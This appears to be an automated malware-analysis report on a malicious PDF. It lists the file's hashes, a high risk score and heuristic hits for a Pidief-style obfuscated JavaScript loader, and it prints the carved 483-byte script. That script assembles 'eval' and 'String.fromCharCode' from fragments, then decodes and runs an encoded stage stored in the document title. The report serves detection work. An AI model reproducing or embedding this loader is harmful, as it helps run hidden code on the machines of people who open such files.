Malicious PDF — malware analysis report

Static analysis result for SHA-256 c6c295343bedb290…

MALICIOUS

PDF

45.0 KB First seen: 2026-05-07
MD5: 1de9646b42b5e6f4347a9c17ad724fdb SHA-1: 4e79f06f1f1b9444445ef56eb5cd65c11ae2a371 SHA-256: c6c295343bedb2900a27ca2e568f7bd4b2f081c97f253cac8db8ccab02d8c85c
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by heuristic firings PDF_JAVASCRIPT and PDF_JS. The ML classifier also flagged this PDF with high confidence. The embedded JavaScript is likely responsible for executing malicious code, potentially downloading a second-stage payload or performing other harmful actions. No specific IOCs were extracted from the script content.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB13A 483 bytes
SHA-256: 9abc7e5710355fd20fd5080288c371d893cf1fbc35bcfc3dccf3023beb023e41
Preview script
First 1,000 lines of the extracted script
fil='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+='b'+'st';qqq='split';}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+b+a[1]+(a,t[0])];
cssoh=e('ti'+'tle');
s=cssoh.substr(t.length + 8,3)+'str';
q=cssoh[s](1,(1,t.length + 7));
hapz=e('S'+'tring.fro'+q);
q=cssoh[s](14)[qqq]('u');
k=q.length;
for (i = 0; i != k; i+=2) {
	wht = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	fil += hapz(wht);
}
e(fil);

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